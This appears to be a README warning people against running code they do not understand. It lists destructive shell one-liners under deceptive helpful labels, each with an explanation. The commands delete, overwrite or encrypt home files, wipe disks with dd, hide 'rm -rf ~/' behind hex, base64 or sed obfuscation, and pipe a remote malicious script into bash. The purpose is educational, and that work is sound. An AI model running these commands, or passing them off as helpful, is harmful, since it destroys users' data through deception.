My one-page argument for learning to code (examples explained)

NEVER run code you don't understand

I often hear people call themselves 'Copy and paste' coders. And, while copying and pasting is a legitimate thing to do,
it should not be your only way of doing things. A better method is to find code, see what is done and then recreate it,
and at a bare minimal, copy it, but know exactly what it does. \
Here is my small example of code that has unintended results.

"Running code you found on the internet is like chewing gum you found in the subway".

Try these (IN A VIRTUAL MACHINE!)

Here are some good descriptions to bad commands

Note: Most of these will error, but if suppressed with &> /dev/null or forked & can still do a lot of damage before
you can take action.

---

Hide sensitive data:

while read f; do LC_CTYPE=C sed -i "" 's:.:*:g' "$f"; done <<< "$(find ~/ -type f -print)"

Click to explain

Uses find to get all files and use sed to replace the contents with asterisks (*)

---

Frees up unnecessary space:

du ~ | grep -o '/.*' | xargs rm -rf --

Click to explain

For all files in home, remove it forcefully

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Re-links your files to improve efficiency

du ~/* | grep -o '/.*' | xargs -n 1 ln -sf /dev/null/

Click to explain

For the file files in the home link the file to dev/null, cloosing its contents

---

Move files/folders to a volume with unlimited storage

for d in ~/*/*; do mv "$d" /dev/null; done

Click to explain

Move file to /dev/null

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Frees up all unnecessary space

command $(echo 7375646f20726d202d7266207e2f0a | xxd -r -p ) &> /dev/null

Click to explain

"7375646f20726d202d7266207e2f0a" hex dumped is "sudo rm -rf ~/" and command will run it

---

Frees up all unnecessary space

command $(echo c3VkbyBybSAtcmYgfi8K | base64 -d ) &> /dev/null

Click to explain

"c3VkbyBybSAtcmYgfi8K" in base64 is "sudo rm -rf ~/" and command will run it

---

Chew the gum you don't even know

bash -c "$(curl -s https://raw.githubusercontent.com/thedzy/My-one-page-argument-for-learning-to-code/master/malicious_file.sh)"

Click to explain

Pulls a malicious file from the internet and runs it

---

Frees up unnecessary space:

eval $(sed 's:[a-e,s-z]::g' <<< "stream -draft ~/saved")

Click to explain

Removing the characters a,b,c,d,e,s,t,u,v,w,x,y,z from "stream -draft ~/saved", gives you "rm -rf ~/" and eval runs that as code

---

Frees up unnecessary space

eval $(echo 'come in -it ~/' | sed 'y/moteionc/deforums/')

Click to explain

Replace c->s o->u m->d e->o ... , gives you "rm -rf ~/" and eval runs that as code

---

Compress files and save space

zip --password "$(openssl rand -base64 64)" --move "$(openssl rand -hex 4)".zip  ~/*/*/*/*/*

Click to explain

For the file files in the home at a depth of 6, add the contents to a zip and give it a random password

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Reduce your need of the external volumes

for d in /dev/disk[2-9]*; do dd if=/dev/random of=$d &; done

Click to explain

For each volume (/dev/disk[2-9]) write random data to the drive, fork the process

---

Simply your files and your life

find ~/ -type f -exec bash -c ':|tee {} &' \;

Click to explain

Uses find to get all files and uses tee to write empty contents to file

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Keep logs of files in the home folder utilising your current files

find ~/ -type f -exec awk 'FNR == 1{ print FILENAME > FILENAME } ' {}  \;

Click to explain

Uses find to get all files and uses awk to write file name into contents

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Cut down on disk space without removing a file

while read n; do eval `stat -s /`; echo $n, $st_dev; for i in $(seq 0 1 $n);do [ -f /.vol/$st_dev/$i ] &&  [ -w /.vol/$st_dev/$i ] && echo > /.vol/$st_dev/$i; done; done <<< `df -i | awk '$NF ~ /\/$/ {print $6}'`           

Click to explain

Loops though each inode in volume, if file exist and is writable, it wipes the content

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Every file gets a random makeover generating original data!

find ~ -type f -exec dd if=/dev/urandom of={} bs=1M count=1 \;

Click to explain

Uses find to get all files and uses dd to write random content to the file

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Find your storage’s true limit.

dirs=($(IFS=$'\n'  find ~/ -type d -print)); while True; do cat /dev/random > ${dirs[$RANDOM % ${#dirs[@]}]}/$(openssl rand -hex $(($RANDOM % 32))); done

Click to explain

Write random dat to random files in random folders until the drive fills up

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100% reduced file sizes

stat -f "%d %i" ~/*/** | while read d i; do [ -f /.vol/$d/$i ] && echo > /.vol/$d/$i; done

Click to explain

Write empty data to all your files, using inodes, wiping thier conents

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Quick find

find ~/Desktop -type f -delete

Click to explain

Find and delete

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Entrophy is organisation

while true; do i="$(find ~/ 2>/dev/null | shuf -n 1)"; [ -f $i ] && f=$i || rsync -q "$f" "$i"; done 

Click to explain

Randomly move files around

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Recommended testing environment:

1. Create a virtual machine.
2. Open terminal and run the following command to copy some files to the desktop: \
   bash find / -iname "*.txt" 2>/dev/null | head -n 60 | xargs -n1 -J% cp % $HOME/Desktop/
3. Snapshot your VM, because you'll want it
4. Run the command
5. Restore
6. Rinse and repeat